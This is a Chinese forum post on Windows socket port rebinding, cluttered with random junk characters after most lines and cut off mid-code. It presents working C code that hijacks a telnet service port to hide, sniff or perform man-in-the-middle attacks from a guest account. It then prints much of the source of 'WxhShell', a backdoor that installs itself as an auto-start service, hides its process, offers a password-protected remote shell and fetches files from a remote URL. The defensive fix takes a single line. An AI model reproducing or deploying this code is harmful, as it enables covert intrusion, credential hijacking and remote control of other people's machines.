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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >\x_"oR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m\Fb ,  
5`'au61/2  
  saddr.sin_family = AF_INET; ?Gv!d  
`) !2E6 =  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +6)kX4  
9 roth  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j X!ftm2  
UFAMbI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hPi :31-0  
P}WhE  
  这意味着什么?意味着可以进行如下的攻击: X`v79`g_  
X1V}%@3:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MN M>  
]#-/i2-K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i 2} =/  
5A]LNA4i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `MYKXBM  
9Glfi@.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ysc|kxLb  
VDu .L8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tTh;.88Z{  
0CVsDVA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \%?8jQ'tX  
7- 3N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ocA'goI-  
z'} =A  
  #include c;8"vJ  
  #include a2=uM}Hsp  
  #include %)hIpxOrX  
  #include    Or#+E2%1E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vH?+JN"A  
  int main() pT;-1c%:  
  { &~JfDe9IS  
  WORD wVersionRequested; g*r{!:,t  
  DWORD ret; %f> |fs  
  WSADATA wsaData; [cL U*:  
  BOOL val; >7(~'#x8A"  
  SOCKADDR_IN saddr; :*&9TNU E@  
  SOCKADDR_IN scaddr; -}qGb}F8!  
  int err; bR8 HGH28  
  SOCKET s; s8yTK2v2\  
  SOCKET sc; }!yD^:[ 5  
  int caddsize; yc%E$g  
  HANDLE mt; !%RJC,X  
  DWORD tid;   <.7I8B7  
  wVersionRequested = MAKEWORD( 2, 2 ); #nf%ojh  
  err = WSAStartup( wVersionRequested, &wsaData ); B[/['sD  
  if ( err != 0 ) { LY88;*:S  
  printf("error!WSAStartup failed!\n"); ;]oXEq`  
  return -1; EO 9kE.g  
  } 7MuK/q.  
  saddr.sin_family = AF_INET; o|^?IQ7bpf  
   3VRZM@i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qnk,E-  
7ru9dg1?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wp]7Lx?F  
  saddr.sin_port = htons(23); D_19sN@0m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =y-!k)t  
  { 9>[.=  
  printf("error!socket failed!\n"); Rqb{)L X*  
  return -1; LnI{S{]wDh  
  } ~q]|pD"\K|  
  val = TRUE; o~.o^0Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $YGIN7_Gg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U3|&Jee  
  { dj y:  
  printf("error!setsockopt failed!\n"); w1"gl0ga$  
  return -1; M8",t{7  
  } \BbOljM=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bUAR<R'E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?;r8SowZ7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X.T\=dm%v  
=6Kv`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =S[FJaIu7  
  { 6Er0o{iI  
  ret=GetLastError(); /!{A=N  
  printf("error!bind failed!\n"); +Sdx8 Z5  
  return -1; vA "`0  
  } gM;)  
  listen(s,2); Q&.IlVB[  
  while(1) gGI#QPT`X  
  { @^:7UI_  
  caddsize = sizeof(scaddr); \Sq"3_m4T  
  //接受连接请求 r_V2 J{B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZXsY-5$#d-  
  if(sc!=INVALID_SOCKET) JW%/^'  
  { =~W0~lxX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ` r'0"V  
  if(mt==NULL) S4{Mu(^xT  
  { %];h|[ax]  
  printf("Thread Creat Failed!\n"); z7@(uIl=X  
  break; Ah"'hFY  
  }  ENYF0wW  
  } 9#EHXgz  
  CloseHandle(mt); ;5Wx$Yfx  
  } _86*.3fQG  
  closesocket(s); S-M)MCL  
  WSACleanup(); !}L~@[v,uL  
  return 0; aX[1H6&=7  
  }   x '=3&vc4  
  DWORD WINAPI ClientThread(LPVOID lpParam) $xUzFLh=`  
  { #A|D\IhF  
  SOCKET ss = (SOCKET)lpParam; )4'x7Qg/  
  SOCKET sc; ~3'OiIw1@  
  unsigned char buf[4096]; Q2[prrk%j  
  SOCKADDR_IN saddr; Rekb?|{z  
  long num; /+x#V!zM  
  DWORD val; [B"dH-r7  
  DWORD ret; C`yvBt40r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Uaus>Frx.T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =YXe1$ $  
  saddr.sin_family = AF_INET; j*eUF-J1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4[LLnF--  
  saddr.sin_port = htons(23); ElEv(>G*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]M+VSU  
  { Z92iil;t  
  printf("error!socket failed!\n"); ~|r'2V*  
  return -1; eC+"mhB  
  } jsNH`"  
  val = 100; *%OYAsc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hyq@O 8  
  { l\T!)Ql  
  ret = GetLastError(); I+Ncmg )>  
  return -1; &*G5J7%w  
  } J8u{K.( *7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m?D <{BQ;  
  { tp6csS,  
  ret = GetLastError(); c%AFo]H  
  return -1; .)"_Q/q  
  } gnQo1q{ 4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E'e8&3!bx  
  { rP^TN^bd|  
  printf("error!socket connect failed!\n"); 2qs>Bshf  
  closesocket(sc); @)W(q5)}9"  
  closesocket(ss); .pS&0gBo\  
  return -1; (B _7\}v|_  
  } jb|mip@` <  
  while(1) |+Hp+9J  
  { ~ Ho{p Oq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %Y cxC0S[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kf%&d}2to  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9 3W  
  num = recv(ss,buf,4096,0); .N~PHyXZR  
  if(num>0) y*VQ]aJ  
  send(sc,buf,num,0); KA5~">l  
  else if(num==0) AW,v  
  break; v`#j  
  num = recv(sc,buf,4096,0); KGV.S  
  if(num>0) !US8aT  
  send(ss,buf,num,0); ADv^eJJ|  
  else if(num==0) GBH_r 0  
  break; K3vseor  
  } =jg#fdM -  
  closesocket(ss); ..t,LU@|  
  closesocket(sc); 0>,.c2),  
  return 0 ; Vq3gceo'0A  
  } .]W ;2G  
KQG-2oW  
7d&DrI@~  
========================================================== % v;e  
d]tv'|E13  
下边附上一个代码,,WXhSHELL [[:UhrH-  
r4O|()  
========================================================== IDy_L;'`*  
 9R9__w;  
#include "stdafx.h" Y3#Nux%  
6g5PM4\  
#include <stdio.h> QWrIa1.JC  
#include <string.h> j$3rJA%rN  
#include <windows.h> %KGq*|GUu  
#include <winsock2.h> yJ!OsD  
#include <winsvc.h> Z[",$Lt  
#include <urlmon.h> KcC!N{  
T vrk^!  
#pragma comment (lib, "Ws2_32.lib") (GCG/8s  
#pragma comment (lib, "urlmon.lib") Iz DG&c  
?Bo?JMV  
#define MAX_USER   100 // 最大客户端连接数 OF c\fW#  
#define BUF_SOCK   200 // sock buffer ojHhT\M`  
#define KEY_BUFF   255 // 输入 buffer ""co6qo#>  
1HMUHZT  
#define REBOOT     0   // 重启 >\V6+$cNp  
#define SHUTDOWN   1   // 关机 ]UDd :2yt  
q[7CPE0n  
#define DEF_PORT   5000 // 监听端口 9<yAQ?7 L  
rh@r\ H@j  
#define REG_LEN     16   // 注册表键长度 "jMqt9ysN  
#define SVC_LEN     80   // NT服务名长度 bS>R5*Zp  
HF"Eys  
// 从dll定义API >~_J q|KBB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6+.>5e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a:85L!~:l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *HR +a#o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9B /s  
{P-xCmZ~Wt  
// wxhshell配置信息 GL1'Zo  
struct WSCFG { JPEIT  
  int ws_port;         // 监听端口 3KSpB;HX  
  char ws_passstr[REG_LEN]; // 口令 B$rTwR"(-  
  int ws_autoins;       // 安装标记, 1=yes 0=no &5?G-mn  
  char ws_regname[REG_LEN]; // 注册表键名 PgMbMH  
  char ws_svcname[REG_LEN]; // 服务名 z~,mRgc$B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |6aJwe+*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tQWWgLM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oL]mjo=jN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \K;op2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 089 k.WG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -"=)z /S  
( S`6Q  
}; zDD4m`2  
aX;A==>  
// default Wxhshell configuration hk%k(^ekU]  
struct WSCFG wscfg={DEF_PORT, Hou*lCA  
    "xuhuanlingzhe", YutQ]zYA.  
    1, @5xu>gKn  
    "Wxhshell", (Yv{{mIy  
    "Wxhshell", B MM--y@  
            "WxhShell Service", T-'~?[v  
    "Wrsky Windows CmdShell Service", ow$q7uf  
    "Please Input Your Password: ", kY"KD22a  
  1, ]jyM@  
  "http://www.wrsky.com/wxhshell.exe", 69-:]7.g  
  "Wxhshell.exe" u:@U $:sZ  
    }; Y25^]ON*\^  
#02Kdo&Vy  
// 消息定义模块 Zb(E:~h\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AEY$@!8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [$pmPr2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j(iuz^I  
char *msg_ws_ext="\n\rExit."; ~:4~2d|  
char *msg_ws_end="\n\rQuit."; =.*98  
char *msg_ws_boot="\n\rReboot..."; `1Zhq+s  
char *msg_ws_poff="\n\rShutdown..."; B:< ]Hl$  
char *msg_ws_down="\n\rSave to "; y` yZ R _  
kbYeV_OwM  
char *msg_ws_err="\n\rErr!"; Bq@zaMv  
char *msg_ws_ok="\n\rOK!"; Mo D?2J  
+L0w;wT  
char ExeFile[MAX_PATH]; zvY+R\,in  
int nUser = 0; qi(*ty  
HANDLE handles[MAX_USER]; b7HffO O  
int OsIsNt; d H? ScXM=  
.Pe9_ZH$W  
SERVICE_STATUS       serviceStatus; ZtK\HDdp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gh}yb-$N`&  
YuQ~AE'i  
// 函数声明 P`S@n/}  
int Install(void); wG 1l+^p  
int Uninstall(void); ye%iDdf  
int DownloadFile(char *sURL, SOCKET wsh); "7,FXTaer  
int Boot(int flag); Z o=]dBp.  
void HideProc(void); i%-Ld Ka}"  
int GetOsVer(void); x({H{'9?  
int Wxhshell(SOCKET wsl); .$!{-v[  
void TalkWithClient(void *cs); oFDz;6  
int CmdShell(SOCKET sock); GaekFbW)  
int StartFromService(void); }^-<k0A4?  
int StartWxhshell(LPSTR lpCmdLine); =WG=C1Z  
-oyO+1V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !2tW$BP^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =8Ehrlq  
]ikomCg   
// 数据结构和表定义 }7s>B24J  
SERVICE_TABLE_ENTRY DispatchTable[] = N@xg:xr  
{ ;@3FF  
{wscfg.ws_svcname, NTServiceMain}, R"AUSO|{  
{NULL, NULL} qQ0C?  
}; uuNR?1fS  
ua5?(,E`']  
// 自我安装 a|4~NL  
int Install(void) C3'rtY.  
{ R@iUCT^$  
  char svExeFile[MAX_PATH]; XL$* _c <)  
  HKEY key; O(z}H}Fv  
  strcpy(svExeFile,ExeFile); cXnKCzSxZq  
-|S]oJy  
// 如果是win9x系统,修改注册表设为自启动 HYK!}&  
if(!OsIsNt) { ]Mi.f3QlO6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h3* x[W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \4d.sy0&>-  
  RegCloseKey(key); 0d^Z uTN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l;A,0,i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p\p\q(S">  
  RegCloseKey(key); l?8M p$M  
  return 0; 5J2=`=FK  
    } 1ocJ+  
  } ;CHi\+` 5  
} ~utJB 'gr  
else { BvD5SBa}"  
tV;`fV   
// 如果是NT以上系统,安装为系统服务 Y&HK1>M_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o%E;3l  
if (schSCManager!=0) uI~S=;o  
{ 3+Qxg+<  
  SC_HANDLE schService = CreateService en F:>H4  
  ( E.`U`L  
  schSCManager, qZv =  
  wscfg.ws_svcname, laKuOx}  
  wscfg.ws_svcdisp, Pmg)v!"  
  SERVICE_ALL_ACCESS, .@q-B+Eg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iRV~Il#~!  
  SERVICE_AUTO_START, FR[ B v  
  SERVICE_ERROR_NORMAL, uX/$CM  
  svExeFile, ;%C'FV e]  
  NULL, v``-F(i$  
  NULL, @f+8%I3D  
  NULL, oR1^/e  
  NULL, 5yZTcS z  
  NULL -]uUYe c  
  ); I<td1Y1q  
  if (schService!=0) y&m0Lz53Z  
  { >'uU)Y {  
  CloseServiceHandle(schService); }A=y=+4 j  
  CloseServiceHandle(schSCManager); 4+$b~ u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #oeG!<Mn  
  strcat(svExeFile,wscfg.ws_svcname); {66sB{P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a]Eg!Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A>`945|  
  RegCloseKey(key); 51C2u)HE  
  return 0; `:m!~  
    } '_\;jFAM  
  } 6qWdd&1  
  CloseServiceHandle(schSCManager); \c v?^AI  
} {`=0 |oP}  
} K,'*Dz  
cJo\#cr  
return 1; =L|tp%!  
} [D-Q'"'A  
w%AcG~`j!B  
// 自我卸载 aI(7nJ=R  
int Uninstall(void) u%/fx~t$  
{ H=*5ASc  
  HKEY key; i,A#&YDl  
4/kv3rv  
if(!OsIsNt) { `1*nL,i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u]NZ`t%AP  
  RegDeleteValue(key,wscfg.ws_regname); =*qD4qYA  
  RegCloseKey(key); &6 s) X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DS-0gVYeDW  
  RegDeleteValue(key,wscfg.ws_regname); ?[<Tx-L  
  RegCloseKey(key); j"^ +oxH  
  return 0; }8|[;Qa`y  
  } /={Js*  
} fj7|D'c  
} -9 !.m  
else {  T9)nQ[  
A[IL H_w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NjPDX>R\K  
if (schSCManager!=0) =deMd`=J  
{ fDE%R={!n5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C51bc6V  
  if (schService!=0) |7,L`utp  
  { _=ua6}Xp  
  if(DeleteService(schService)!=0) { 9Zry]$0~R  
  CloseServiceHandle(schService); NN0$}acp  
  CloseServiceHandle(schSCManager); M.-"U+#aD  
  return 0; <IW#ME  
  } Djk C  
  CloseServiceHandle(schService); Uz cx6sw  
  } k#8Ti"0  
  CloseServiceHandle(schSCManager); {oc igR 0  
} E$9 Ys  
} t?o ,RN:  
b|Q)[y]  
return 1; QB.J,o*XD4  
} CQel3Jtt.  
MMB@.W  
// 从指定url下载文件 mk7&<M  
int DownloadFile(char *sURL, SOCKET wsh) O#wpbrJ  
{ ,B4VT 96*  
  HRESULT hr; /bj <Ft\  
char seps[]= "/"; X[#zCM  
char *token; qq)0yyL r  
char *file; 3lV^B[$  
char myURL[MAX_PATH]; Pe C7  
char myFILE[MAX_PATH]; <YA&Dr3OD  
Vpy 2\wZWb  
strcpy(myURL,sURL); DG4 d"Jy  
  token=strtok(myURL,seps); #;n +YM">:  
  while(token!=NULL) G?f\>QSZ  
  { pa}*E  
    file=token; Z_\C*^  
  token=strtok(NULL,seps); ?JL7=o X  
  } 6v,z@!b  
 ^p n(=4  
GetCurrentDirectory(MAX_PATH,myFILE); tiN?/  
strcat(myFILE, "\\"); b:qY gg  
strcat(myFILE, file); ^[%%r3"$C  
  send(wsh,myFILE,strlen(myFILE),0); V8eB$in  
send(wsh,"...",3,0); nrL9 E'F'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B8.Pn  
  if(hr==S_OK) 9_L[w\P|4  
return 0; / ;$#d}R  
else 0Is,*Srr  
return 1; 9oRy)_5Z(=  
dsb`xw  
} Yl4^AR&  
3EV;LH L  
// 系统电源模块 j~2{lCT  
int Boot(int flag) 7L`A{L  
{ NO7J!k?  
  HANDLE hToken; nF54tR[  
  TOKEN_PRIVILEGES tkp; sv: 9clJ  
T%.8 '9  
  if(OsIsNt) { 09X01X[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H{@Yo\J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JmF l|n/H  
    tkp.PrivilegeCount = 1; ;;_,~pI?k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }\z.)B4,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =}lh_  
if(flag==REBOOT) { 8qk?E6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )#BMTKA^  
  return 0; $h2){*5E{  
} (n*^4@"2  
else { X}=n:Ql'YY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sT !~J4  
  return 0; KK1 gNC4R  
} !S^AgZ~  
  } 9i'jj N  
  else { RTvqCp  
if(flag==REBOOT) { 4E; VM{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6DM$g=/ '  
  return 0; xAqb\|$^  
} ))R5(R  
else { \.C +ue  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ov};e  
  return 0;  tR}MrM  
} "8c@sHk(w  
} J5di[nu  
A'j;\ `1  
return 1; I CZ4 A{I  
} aK&b{d  
>/:" D$  
// win9x进程隐藏模块 ~o82uw?  
void HideProc(void) rx $mk  
{ Qt iDTr  
:?k>HQe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8B7cBkl:  
  if ( hKernel != NULL ) _p# CwExuy  
  { o 4`hY/<t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fgkajig  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^@ I   
    FreeLibrary(hKernel); {G|,\O1  
  } ~J5+i9T.)  
(hTCK8HK  
return; oeKHqP wg  
} N8!cO[3Oh  
;KOLNi-B&  
// 获取操作系统版本 iDN;m`a  
int GetOsVer(void) 8;z6=.4xtg  
{ R?v>Q` Qi  
  OSVERSIONINFO winfo; sJ# 4(r`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;>5 06jZ  
  GetVersionEx(&winfo); ;6gDV`Twy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <DMl<KZ  
  return 1; IN4=YrM^  
  else +~'865{  
  return 0; kv8Fko  
} 9)0D~oUi  
`k OD[*  
// 客户端句柄模块 .EpV;xq}  
int Wxhshell(SOCKET wsl) UUSq$~Ct  
{ |s)Rxq){"V  
  SOCKET wsh; LL]zT H0  
  struct sockaddr_in client; ML:Q5 ^`  
  DWORD myID; l-K9LTd  
hD\rtW  
  while(nUser<MAX_USER) VK}fsOnj0  
{ q:l>O5  
  int nSize=sizeof(client); Ol1e/Wv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JQ}$Aqk  
  if(wsh==INVALID_SOCKET) return 1; MA;1 ;uI,  
;ToKJ6hN|*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aJYgzr,  
if(handles[nUser]==0) I*LknU@  
  closesocket(wsh); TS/.`.gT  
else AP[|Ta  
  nUser++; Z&0'a  
  } /[O(ea$U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fkvl%n  
=.y~fA!  
  return 0; OTMJ6)n7  
} ~3WM5 fv  
zV:pQRbt.  
// 关闭 socket *4_jA](  
void CloseIt(SOCKET wsh) sW)Zi  
{ }-ftyl7  
closesocket(wsh); n,=VQ Ou  
nUser--; bSsh^Z  
ExitThread(0); /E Bo3`  
} <.pU,T/  
ELBa}h;  
// 客户端请求句柄 i7ISX>%  
void TalkWithClient(void *cs) 3BB%Z 6F  
{ >wb 'QzF:  
Uu!f,L;ty  
  SOCKET wsh=(SOCKET)cs; Yiry["[]Q  
  char pwd[SVC_LEN]; /V8}eZ97  
  char cmd[KEY_BUFF]; ^\\Tx*#i  
char chr[1]; =:DaS`~V  
int i,j; )jkXS TZ  
 yyv8gH  
  while (nUser < MAX_USER) { ,oaw0Vw  
._8KsuJG  
if(wscfg.ws_passstr) { t'BLVCu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &8%e\W\K:/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vr0WS3  
  //ZeroMemory(pwd,KEY_BUFF); a["2VY6Eq@  
      i=0; Mr?Xp(.}G  
  while(i<SVC_LEN) { 70f Klp  
"`M?R;DH  
  // 设置超时 P`#Z9 HM4  
  fd_set FdRead; SG-'R1 J  
  struct timeval TimeOut; w4W_iaU  
  FD_ZERO(&FdRead); B*4}GPQ  
  FD_SET(wsh,&FdRead); ta`N8vnf  
  TimeOut.tv_sec=8; bx]N>k J  
  TimeOut.tv_usec=0; >=UF-xk;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  1WY/6[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  emK$`9  
H|R T?Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {]E+~%Va  
  pwd=chr[0]; Lb;zBmwB  
  if(chr[0]==0xd || chr[0]==0xa) { .pfP7weQ  
  pwd=0; i/~1F_  
  break; pY_s*0_  
  } d+X}cq=  
  i++; BNd^qB ?  
    } Row)hx8  
Q3|T':l4  
  // 如果是非法用户,关闭 socket ~_Lr=CD;4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9cEv&3  
} " R-!(9k^`  
yY[<0|o u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'XzXZJ[uq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iCW*]U  
4hAl-8~Q6  
while(1) { K_2|_MLlZ  
;9~6_@,@o  
  ZeroMemory(cmd,KEY_BUFF); VH=S?_RY>  
^5A t?I8  
      // 自动支持客户端 telnet标准   %{/%mJoX  
  j=0; =JKv:</.G  
  while(j<KEY_BUFF) { RRGWC$>?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?0YCpn  
  cmd[j]=chr[0]; 34wkzu  
  if(chr[0]==0xa || chr[0]==0xd) { >nw++[K_  
  cmd[j]=0; ynw5-aS3  
  break; _R.B[\r@  
  } 7zHh@ B:]  
  j++; -T&.kYqnb$  
    } jS+AGE?5e  
N nk@h  
  // 下载文件 # eCjn  
  if(strstr(cmd,"http://")) { LwhyE:1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "=6v&G]U4  
  if(DownloadFile(cmd,wsh)) -s|}Rh?Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x7vctjM|  
  else :.?gHF.?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hgLj<  
  } ZR$'u%+g'  
  else { ^)?d6nI  
zH>hx5,k'X  
    switch(cmd[0]) { o$[z],RO  
  {5d9$v7k4  
  // 帮助 M)+$wp  
  case '?': { FJ %  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aB]m*~  
    break; b:R-mg.VT{  
  } l#lF +Q;  
  // 安装 "H&"(=  
  case 'i': { m85WA # `  
    if(Install()) bu=?N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z]K\-xp  
    else f+|$&p%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RGn!{=  
    break; =56T{N  
    } ,o^y`l   
  // 卸载 WWL4`s  
  case 'r': { 6<'rG''  
    if(Uninstall()) P i Fm|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [kqYfY?K  
    else :> &fV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / }Rz=&  
    break; y$3;$ R^  
    } -tnQCwq#  
  // 显示 wxhshell 所在路径 Qj3a_p$)P  
  case 'p': { etd&..]J  
    char svExeFile[MAX_PATH]; >(y<0   
    strcpy(svExeFile,"\n\r"); 9}c8Xt^&  
      strcat(svExeFile,ExeFile); U~W?s(Cy%  
        send(wsh,svExeFile,strlen(svExeFile),0); pGSai &  
    break;  Y=`  
    } LGc&o]k  
  // 重启 A/7X9ir  
  case 'b': { vsL[*OeI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l c_E!"1  
    if(Boot(REBOOT)) hoT/KWD,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {V1Pp;A  
    else { 4CQ"8k(S"  
    closesocket(wsh); LTJc,3\,  
    ExitThread(0); [>^PRs  
    }  6l$L~>  
    break; -k(CJ5H9  
    } Dfd-^N!  
  // 关机 +[J/Zw0{  
  case 'd': { |v[Rp=?]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? <Y+peu  
